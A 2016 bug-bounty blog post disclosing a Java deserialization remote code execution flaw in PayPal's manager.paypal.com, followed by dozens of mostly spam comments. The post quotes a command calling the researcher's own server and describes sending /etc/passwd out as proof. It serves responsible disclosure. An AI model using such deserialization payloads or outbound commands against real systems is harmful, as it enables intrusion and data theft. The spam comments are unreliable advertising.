Monday, January 25, 2016

[manager.paypal.com] Remote Code Execution Vulnerability


In December 2015, I found a critical vulnerability in one of PayPal business websites (manager.paypal.com). It allowed me to execute arbitrary shell commands on PayPal web servers via unsafe JAVA object deserialization and to access production databases. I immediately reported this bug to PayPal security team and it was fixed promptly.

Details


While testing manager.paypal.com application, I noticed an unusual post form parameter “oldFormData” that looks like a complex object after base64 decoding:

The following research showed that it is a Java serialized object without any signature. It means you can send a serialized object of any existing class to the server, and the “readObject” (or “readResolve”) method of that class will be called. For exploitation, you need to find a suitable class in the application “classpath” which can be serialized and has something interesting (from exploitation point of view) in the “readObject” method. You can read about this technique in the recent article by FoxGlove Security. A year ago, Chris Frohoff (@frohoff) and Gabriel Lawrence (@gebl) did a great job and found suitable classes in Commons Collections library that could lead to remote code execution. They also published the “ysoserial” payload generation tool on their github page.

Exploit


I downloaded this tool and generated a simple payload that sends DNS and HTTP requests to my own server by executing the “curl x.s.artsploit.com/paypal” shell command.


Then I sent the base64 encoded payload in the “oldFormData” parameter to the application server and was impressed by an incoming request from the PayPal network that appeared in my NGINX access log:


I realized that I could execute arbitrary OS commands on the web servers of manager.paypal.com, establish a back connection to my own Internet server and, for example, upload and execute a backdoor. As a result, I could get access to production databases used by the manager.paypal.com application.

Instead, I just read “/etc/passwd” file by sending it to my server as a proof of the vulnerability:


I also recorded a video how to reproduce this vulnerability and reported it to the PayPal security team.
Later, I found out that many other endpoints of the manager.paypal.com application also use serialized objects and can be exploited as well.

In a month, my report received a Duplicate status because another researcher, Mark Litchfield, reported a similar vulnerability two days earlier than I did (on December 11, 2015). PayPal decided to pay me a good bounty anyway, and I have nothing but respect for them.

Demo


131 comments:

  1. Did they pay you thru paypal? :)

    ReplyDelete
  2. Very nice work. It would be cool if you would reference advice on how to fix a Java serialization vulnerability. A Google search gave me poor results in the first page :(
    https://www.google.co.uk/search?q=how+to+fix+a+java+serialization+vulnerability
    Otherwise we can expect the improvements to be very slow....

    ReplyDelete
    Replies
    1. 1. Identify any jar or class files that contain the vulnerable library e.g cd && grep -Rl 'InvokerTransformer' . | grep -E "\.(jar|class)"
      2. Delete (dry run first) the file InvokerTransformer.class within any JARs you found in Step 1.

      Delete
  3. The problem lies with the Serialization api itself.

    https://github.com/pfirmstone/river-internet/tree/Input-validation-for-Serialization/src/org/apache/river/api/io

    ReplyDelete
  4. Nice content with valuable information. Thanks for sharing.
    Java Training institute in Velachery

    ReplyDelete
  5. If you set out to make me think today; mission accomplished! I really like your writing style and how you express your ideas. Thank you. Hamza PayPal Solutions - Remove Limit From PayPal Easily - Receive Payment & Withdrawal. paypal solutions

    ReplyDelete
  6. which tool was that?
    >I downloaded this tool and generated a simple payload that sends DNS and HTTP requests to my own server by executing the “curl x.s.artsploit.com/paypal” shell command.

    ReplyDelete
  7. For niit projects, assignments, cycle tests, lab@homes, c#, html, java, java script, sql, oracle and much more visit http://gniithelp.blogspot.in or https://mkniit.blogspot.in

    ReplyDelete
  8. This is my first visit to your blog, your post made productive reading, thank you.
    Java Training in Chennai

    ReplyDelete
  9. We are really grateful for your blog post. You will find a lot of approaches after visiting your post. Great work. youtube converter

    ReplyDelete
  10. Thanks for sharing your valuable time for us, nice article and blog.
    Java Training in Chennai

    ReplyDelete
  11. Good post, apart for programming bugs paypal and stripe too, are common online payments platforms....
    I would be looking forward for similar post for stripe too...
    Thanks

    ReplyDelete
  12. Nice and good article.. it is very useful for me to learn and understand easily.. thanks for sharing your valuable information and time.. please keep updating.morephp jobs in hyderabad.
     

    ReplyDelete
  13. You CAN increase your overall penis length and girth. Using an penis extender can also improve sexual performance and stamina through the process of cell division which can improve blood flow to the penis. Our Peyronies Editions are highly recommended penis straightener devices.

    ReplyDelete
  14. I love reading an article that will make men and women think. Also, many thanks for allowing for me to comment!
    https://powerseotools.blogspot.com/

    ReplyDelete

  15. Ethereumpro.net is best company in the united kingdom to Exchange Ethereum to Cash USD Paypal Payoneer Bank Account, sell your ethereum at best price for paypal transfer

    Exchange Ethereum to Paypal or cash

    ReplyDelete
  16. I would like to say that this blog really convinced me, you give me best information! Thanks, very good post.
    exchange paypal
    Keep Posting:)

    ReplyDelete
  17. • Nice and good article. It is very useful for me to learn and understand easily. Thanks for sharing your valuable information and time. Please keep updating. Power Bi Online course Bangalore

    ReplyDelete
  18. Regular visits listed here are the easiest method to appreciate your energy, which is why why I am going to the website everyday, searching for new, interesting info. Many, thank you! name patches

    ReplyDelete
  19. I think about it is most required for making more on this get engaged complete bathroom installations

    ReplyDelete
  20. I think about it is most required for making more on this get engaged vector

    ReplyDelete
  21. I think about it is most required for making more on this get engaged custom military patches

    ReplyDelete
  22. We are really grateful for your blog post. You will find a lot of approaches after visiting your post. Great work Hate Story 4 Watch Online

    ReplyDelete
  23. Well we really like to visit this site, many useful information we can get here. best mechanical keyboard under 100

    ReplyDelete
  24. I was taking a gander at some of your posts on this site and I consider this site is truly informational! Keep setting up.. portrait retouching service(s)

    ReplyDelete
  25. Regular visits listed here are the easiest method to appreciate your energy, which is why why I am going to the website everyday, searching for new, interesting info. Many, thank you! putlocker today

    ReplyDelete
  26. Here at this site really the fastidious material collection so that everybody can enjoy a lot. Happy mothers day images and quotes

    ReplyDelete
  27. This is really very nice post you shared, i like the post, thanks for sharing.. Online Calendar

    ReplyDelete
  28. Cool stuff you have and you keep overhaul every one of us more info

    ReplyDelete
  29. I’ve read some good stuff here. Definitely worth bookmarking for revisiting. I surprise how much effort you put to create such a great informative website. Nutzfahrzeuge Ankauf

    ReplyDelete
  30. Hi! This is my first visit to your blog! We are a team of volunteers and new initiatives in the same niche. Blog gave us useful information to work. You have done an amazing job! investment companies in bahrain

    ReplyDelete
  31. this blog was really great, never seen a great blog like this before. i think im gonna share this to my friends.. what is guest post service

    ReplyDelete
  32. Hi buddies, it is great written piece entirely defined, continue the good work constantly. shari'ah compliant investment

    ReplyDelete
  33. A debt of gratitude is in order for the blog entry amigo! Keep them coming... Happy Mothers Day Quotes from Husband

    ReplyDelete
  34. A debt of gratitude is in order for the blog entry amigo! Keep them coming... tile flooring mn

    ReplyDelete
  35. Personally I think overjoyed I discovered the blogs. what day today

    ReplyDelete
  36. Your work is very good and I appreciate you and hopping for some more informative posts reseller

    ReplyDelete
  37. I read this article. I think You put a great deal of exertion to make this article. I like your work. Bewertungen kaufen

    ReplyDelete
  38. This is truly an practical and pleasant information for all. Thanks for sharing this to us and more power Happy Ramadan Greetings 2018

    ReplyDelete
  39. The article posted was very informative and useful. You people are doing a great job. Keep going. Happy Ramadan Wishes 2018

    ReplyDelete
  40. I see some amazingly important and kept up to length of your strength searching for in your on the site happy mothers day to my sister

    ReplyDelete
  41. Here you will learn what is important, it gives you a link to an interesting web page: Los Angeles photo booth rentals

    ReplyDelete
  42. Thanks for the post and great tips: even I also think that hard work is the most important aspect of getting success.....Happy Eid Mubarak HD Wallpaper 2018


    ReplyDelete
  43. Amazing article. I was pondering about this so I'm exceptionally glad I discovered your site.....Ramadan 2018 Wallpapers and Ramadan Mubarak Wallpapers



    ReplyDelete
  44. wow... what a great blog, this writter who wrote this article it's realy a great blogger, this article so inspiring me to be a better person Portrait Retouching

    ReplyDelete
  45. The blog and data is excellent and informative as well november events

    ReplyDelete
  46. Wonderful illustrated information. I thank you about that. No doubt it will be very useful for my future projects. Would like to see some other posts on the same subject! 7 Eleven Day

    ReplyDelete
  47. A debt of gratitude is in order for giving late reports with respect to the worry, I anticipate read more. falls creek packages

    ReplyDelete
  48. hi was just seeing if you minded a comment. i like your website and the thme you picked is super. I will be back.
    Dubai Hotel Booking Godesto

    ReplyDelete
  49. Fantastic blog! Do you have any tips and hints for aspiring writers? I’m planning to start my own website soon but I’m a little lost on everything. Would you propose starting with a free platform like WordPress or go for a paid option? There are so many options out there that I’m completely overwhelmed .. Any suggestions? Many thanks!
    Automatic Cat Feeder

    ReplyDelete
  50. Wonderful illustrated information. I thank you about that. No doubt it will be very useful for my future projects. Would like to see some other posts on the same subject! Graco 4Ever 4-in-1 Convertible Car Seat website coupon codes

    ReplyDelete
  51. Interesting topic for a blog. I have been searching the Internet for fun and came upon your website. Fabulous post. Thanks a ton for sharing your knowledge! It is great to see that some people still put in an effort into managing their websites. I'll be sure to check back again real soon.
    Article Rewriter

    ReplyDelete
  52. Wonderful illustrated information. I thank you about that. No doubt it will be very useful for my future projects. Would like to see some other posts on the same subject! private label manufacturers

    ReplyDelete
  53. Thanks a lot for one’s intriguing write-up. It’s actually exceptional. Searching ahead for this sort of revisions. PhenQ Ingredients

    ReplyDelete
  54. Great Article it its really informative and innovative keep us posted with new updates. its was really valuable. thanks a lot.
    safari deals

    ReplyDelete
  55. I am very enjoyed for this blog. Its an informative topic. It help me very much to solve some problems. Its opportunity are so fantastic and working style so speedy. lån 10000 kr


    Thanks for the nice blog. It was very useful for me. I'm happy I found this blog. Thank you for sharing with us,I too always learn something new from your post. hp driver

    ReplyDelete
  56. Wow! Such an amazing and helpful post this is. I really really love it. It's so good and so awesome. I am just amazed. I hope that you continue to do your work like this in the future also. wordpress autoblog setup

    ReplyDelete
  57. Thanks for the nice blog. It was very useful for me. I'm happy I found this blog. Thank you for sharing with us,I too always learn something new from your post. Zwembaden

    Thanks for taking the time to discuss that, I feel strongly about this and so really like getting to know more on this kind of field. Do you mind updating your blog post with additional insight? It should be really useful for all of us.Airco

    I was surfing net and fortunately came across this site and found very interesting stuff here. Its really fun to read. I enjoyed a lot. Thanks for sharing this wonderful information.Zonnepanelen

    ReplyDelete
  58. I feel really happy to have seen your webpage and look forward to so many more entertaining times reading here. Thanks once more for all the details. AC Market

    ReplyDelete
  59. Thank you very much for the sharing! COOL..
    lån 50000 kr

    ReplyDelete
  60. Please give some advice on how to achieve this kind of posts. weightwatchersfree.png

    ReplyDelete
  61. These are some great tools that i definitely use for SEO work. This is a great list to use in the future.. Warmtepompen


    Love to read it,Waiting For More new Update and I Already Read your Recent Post its Great Thanks. Wordpress webdesign

    ReplyDelete
  62. First You got a great blog .I will be interested in more similar topics. i see you got really very useful topics, i will be always checking your blog thanks. FNaF World Games Download

    ReplyDelete
  63. Great post, and great website. Thanks for the information!
    SEO

    ReplyDelete
  64. Thank you for taking the time to publish this information very useful!
    ft lauderdale car accident lawyer

    ReplyDelete
  65. Just admiring your work and wondering how you managed this blog so well. It’s so remarkable that I can't afford to not go through this valuable information whenever I surf the internet!
    Glaswerken

    ReplyDelete
  66. I really appreciate this wonderful post that you have provided for us. I assure this would be beneficial for most of the people.
    Airco

    ReplyDelete
  67. It’s appropriate time to make some plans for the future and it is time to be happy. I have read this post and if I could I wish to suggest you few interesting things or advice. Perhaps you could write next articles referring to this article. I desire to read even more things about it!
    4000 euro lenen

    ReplyDelete
  68. Thanks for sharing the info, keep up the good work going.... I really enjoyed exploring your site. good resource...
    Mobile Games Download Free

    ReplyDelete
  69. Hi! Thanks for the great information you havr provided! You have touched on crucuial points!
    Spuitkurk offerte

    ReplyDelete
  70. If more people that write articles really concerned themselves with writing great content like you, more readers would be interested in their writings. Thank you for caring about your content.
    tshirt printing dubai

    ReplyDelete
  71. Thanks for posting this info. I just want to let you know that I just check out your site and I find it very interesting and informative. I can't wait to read lots of your posts.
    Luxe zwembaden

    ReplyDelete
  72. Great Information sharing .. I am very happy to read this article .. thanks for giving us go through info.Fantastic nice. I appreciate this post.
    Tuin aanleggen

    ReplyDelete
  73. Very good points you wrote here..Great stuff...I think you've made some truly interesting points.Keep up the good work.
    Airco prijs

    ReplyDelete
  74. I feel really happy to have seen your webpage and look forward to so many more entertaining times reading here. Thanks once more for all the details. eid mubarak animated greetings

    ReplyDelete
  75. I really thank you for the valuable info on this great subject and look forward to more great posts. Thanks a lot for enjoying this beauty article with me. I am appreciating it very much! Looking forward to another great article. Good luck to the author! All the best!
    credit 5000 euros

    ReplyDelete
  76. This is really a nice and informative, containing all information and also has a great impact on the new technology. Thanks for sharing it
    Lucht/lucht warmtepompen

    ReplyDelete
  77. I feel really happy to have seen your webpage and look forward to so many more entertaining times reading here. Thanks once more for all the details. best football prediciton site in the world

    ReplyDelete
  78. Wonderful illustrated information. I thank you about that. No doubt it will be very useful for my future projects. Would like to see some other posts on the same subject!
    rekomendasi saham pemenang

    ReplyDelete
  79. Happy to find the article and happy to share with my friends in social thank you urgent care chicago clinics

    ReplyDelete
  80. Thank you very much for keep this information.
    networking services

    ReplyDelete
  81. The information you have posted is very useful. The sites you have referred was good. Thanks for sharing...
    lån 25000 kr

    ReplyDelete
  82. Admiring the time and effort you put into your blog and detailed information you offer!..
    tp link support

    ReplyDelete
  83. It's a very easy on the eyes which makes it much more enjoyable for me to come here and visit more often. Did you hire out a designer to create your theme? Fantastic work!
    Schlüsselnotdienst

    ReplyDelete
  84. This is really a nice and informative, containing all information and also has a great impact on the new technology. Thanks for sharing it, 4000 euro kredit ohne schufa


    These are some great tools that i definitely use for SEO work. This is a great list to use in the future.. dlink support

    ReplyDelete
  85. This one is good. keep up the good work!.. netgear support


    Thanks for sharing this useful info.. linksys support

    ReplyDelete
  86. wow, great, I was wondering how to cure acne naturally. and found your site by google, learned a lot, now i’m a bit clear. I’ve bookmark your site and also add rss. keep us updated. error 3371 quickbooks

    ReplyDelete
  87. I think about it is most required for making more on this get engaged football draw prediction banker for this weekend

    ReplyDelete
  88. It is imperative that we read blog post very carefully. I am already done it and find that this post is really amazing.
    legit9ja.com

    ReplyDelete
  89. Excellent website you have here, so much cool information!..
    rick ross

    ReplyDelete
  90. Great post I would like to thank you for the efforts you have made in writing this interesting and knowledgeable article.
    symphony

    ReplyDelete
  91. Wow i can say that this is another great article as expected of this blog.Bookmarked this site..
    phenqwiki

    ReplyDelete
  92. First You got a great blog .I will be interested in more similar topics. i see you got really very useful topics, i will be always checking your blog thanks. best soccer prediction site.

    ReplyDelete
  93. You make so many great points here that I read your article a couple of times. Your views are in accordance with my own for the most part. This is great content for your readers.
    låna 15000

    ReplyDelete
  94. Your website is really cool and this is a great inspiring article.
    binary option

    ReplyDelete
  95. Nice Blog. Thank you for sharing
    https://www.viplasvegasentertainment.com/las-vegas-gfe/

    ReplyDelete
  96. Two full thumbs up for this magneficent article of yours. I've really enjoyed reading this article today and I think this might be one of the best article that I've read yet. Please, keep this work going on in the same quality. background removal service

    ReplyDelete
  97. i read a lot of stuff and i found that the way of writing to clearifing that exactly want to say was very good so i am impressed and ilike to come again in future..
    lainaa 1000 euroa

    ReplyDelete
  98. Two full thumbs up for this magneficent article of yours. I've really enjoyed reading this article today and I think this might be one of the best article that I've read yet.
    eid mubarak gif download

    ReplyDelete
  99. I found that site very usefull and this survey is very cirious, I ' ve never seen a blog that demand a survey for this actions, very curious...
    asus router support

    ReplyDelete
  100. This is really a nice and informative, containing all information and also has a great impact on the new technology. Thanks for sharing it
    TSNPDCL Sub Engineer Result

    ReplyDelete
  101. Very awesome!!! When I seek for this I found this website at the top of all blogs in search engine. online photo restoration

    ReplyDelete
  102. First You got a great blog .I will be interested in more similar topics. i see you got really very useful topics, i will be always checking your blog thanks.
    First You got a great blog .I will be interested in more similar topics. i see you got really very useful topics, i will be always checking your blog thanks. Good Post

    ReplyDelete
  103. Amazing knowledge and I like to share this kind of information with my friends and hope they like it they why I do car parking shades

    ReplyDelete
  104. Thanks for taking the time to discuss that, I feel strongly about this and so really like getting to know more on this kind of field. Do you mind updating your blog post with additional insight? It should be really useful for all of us.
    netgear support number

    ReplyDelete
  105. It is a great website.. The Design looks very good.. Keep working like that!.
    lån 30000 kr

    ReplyDelete
  106. Excellent and very exciting site. Love to watch. Keep Rocking.
    Pinoy Channel

    ReplyDelete
  107. Some truly wonderful work on behalf of the owner of this internet site , perfectly great articles .
    http://www.laanepenger.org/lan-30000-kr

    ReplyDelete
  108. I just want to let you know that I just check out your site and I find it very interesting and informative..
    incredimail help

    ReplyDelete
  109. This is really a nice and informative, containing all information and also has a great impact on the new technology. Thanks for sharing it
    hosting chile

    ReplyDelete
  110. عزيزي العميل شركة كشف تسربات بجدة ترحب بكم مع الاسف في الاونة الآخيرة وبسبب عدم فحص المباني قبل الشراء قد يقع الميل في فخ تسربات الماه في الحوائط والذي يؤدي الى اتلاف الدهانات والحوائط الخاصة بالمنزل .
    لذا توفر الشركة خدمة فحص المباني قبل الشراء لكي يتأكد العميل من خلو المبنى من اي تسربات لذا نحرص دائما على تقديم الدمات الخاصة بالكشف عن تسربات المياه بجدة باحدث الاجهزة وهذا يوفر للعميل جو خالي من اي مشاكل .
    كا تتميز الخدمة لدينا انها تتم دون اي تكسير للحوائط وذلك عن طريق استخدام اجهزة ذات تقنية عالية جدا لذا لا تتردد في التواصل معنا نحن فريق مؤسسة العلا افضل فريق مدرب على عملية كشف تسربات المياه بجدة بدون تكسير
    0501168526ت :
    يمكنك الضغط على اي خدمة من الخدمات الآتية للتعرف عليها :

    شركة كشف تسربات خزانات بجدة
    شركة كشف تسربات الأسطح بجدة
    شركة كشف تسربات المياه بجدة
    شركة عزل خزانات بجدة
    شركة عزل اسطح بجدة
    ...................................................................................

    ReplyDelete
  111. شركة تنظيف بالبخار بدبي نحن شركة متخصصة في تنظيف الأدوات المنزلية الحديثة في دبي.
    وهي تعتمد على أفضل طرق التنظيف الحديثة من خلال الآلات والأجهزة التي تحافظ على تنظيف المواد الخام للأثاث.
    تقوم شركة التنظيف في دبي بتنظيف الأفران والسجاد والموكيت بدقة وسرعة. تدريبهم على أفضل طرق التنظيف.
    شركة دبي للبخار لديها طرق دقيقة وسريعة وعالية الجودة
    وهو يختلف من حيث نوع المواد الخام المستخدمة في التصنيع وكل نوع لديه طريقة للتنظيف لمنعه من التلف لهذا نراجع الأنواع المختلفة للحبيبات وكيفية تنظيفها من خلال عمال شركة تنظيف في دبي:
    شركة تنظيف بالبخار في دبي
    شركة تنظيف بالبخار بالشارقة
    شركة تنظيف بالبخار في عجمان
    شركة تنظيف بالعين
    شركة تنظيف مباني بابوظبي
    شركة تنظيف المباني برأس الخيمة
    شركة تنظيف مباني بالشارقة
    شركة تنظيف مباني بعجمان
    شركة تنظيف مباني بالعين
    شركة مكافحة حشرات عجمان
    اتصل الآن :0561418399

    ReplyDelete
  112. شركة واحة الخليج بجدة ومكة ورابغ والطائف الشركة الأولى والأفضل في خدمات نقل العفش بجدة اذا كنت تريد الحفاظ على الاثاث الخاص بك فلا بد من ان تتصل على الفور على الرقم التالي 0555583146 رقم شركتنا اولى شركات نقل العفش والاثاث بجدة
    لدينا افضل العمالة الماهرة والمدربة على نقل العفش بدون حدوق اي خسائر للعميل كل مايهمنا هو ارضاء العملاء وكسب ثقتهم لا تترددوا في التواصل معنا
    من اهم خدماتنا :

    شركات نقل عفش برابغ
    نقل عفش من رابغ إلى جدة
    افضل شركة نقل عفش برابغ
    افضل سيارات نقل عفش برابغ
    شركة نقل عفش رابغ
    افضل شركة نقل اثاث رخيص برابغ
    شركات نقل عفش برابغ
    شركة نقل عفش بجدة

    شركة نقل عفش بمكة
    شركة نقل عفش بالباحة

    ReplyDelete
  113. I really appreciate the kind of topics you post here. Thanks for sharing us a great information that is actually helpful. Good day!
    Agencia Kreativa

    ReplyDelete
  114. This is a good post. This post gives truly quality information. I’m definitely going to look into it. Really very useful tips are provided here. Thank you so much. Keep up the good works. thunderbird help


    Thanks a lot for sharing us about this update. Hope you will not get tired on making posts as informative as this. ricoh printer support

    ReplyDelete
  115. Super-Duper site! I am Loving it!! Will come back again, Im taking your feed also, Thanks. outlook support




    Cool stuff you have got and you keep update all of us. list of best restaurants in myrtle beach downtown

    ReplyDelete
  116. You have a good point here!I totally agree with what you have said!!Thanks for sharing your views...hope more people will read this article!!!
    autoseguro

    ReplyDelete
  117. This is truly a great read for me. I have bookmarked it and I am looking forward to reading new articles. Keep up the good work!.
    walton

    ReplyDelete
  118. It is a great website.. The Design looks very good.. Keep working like that!.
    safari deals

    ReplyDelete